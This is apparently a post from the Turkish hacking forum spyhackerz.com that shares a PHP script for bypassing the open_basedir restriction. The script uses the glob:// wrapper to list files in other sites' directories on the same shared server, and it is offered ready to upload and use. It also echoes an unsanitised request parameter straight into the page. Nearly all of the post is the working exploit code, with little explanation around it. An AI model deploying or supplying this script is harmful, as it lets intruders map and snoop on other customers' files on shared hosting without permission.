Dizin listeliyici bir php script , attığınız dizindeki dosyaları listeler yada istediğiniz aynı sunucudaki bir sitenin dizinindeki dosyaları listelemeye çalışır. <...

Dizin listeliyici bir php script , attığınız dizindeki dosyaları listeler yada istediğiniz aynı sunucudaki bir sitenin dizinindeki dosyaları listelemeye çalışır.

YWyZY2.png


PHP:
<?
#open_basedir restriction bypass (directory listing) via glob pattern by BECHED <spyhackerz.com>. Tested on ubuntu (php 5.3.2), freebsd (php 5.3.8)

$path = $_REQUEST[ 'dir' ]; //path with the slash at the end

echo "<form method=get>List directory: <input type=text name=dir value='$path'><input type=submit value=ok></form><hr>";

$it = new DirectoryIterator("glob://$path*");
foreach($it as $f) {
    echo  '<a href=\'?dir=' . addslashes( $f -> getPathname() ) . '/\'>' . $f -> getPathname() . '</a><br>';
}

echo '<hr><tt><a href=http://www.spyhackerz.com>spyhackerz</a></tt>';
?>
 
131,838Konular
3,271,886Mesajlar
316,349Kullanıcılar
kiftSon Üye
Üst Alt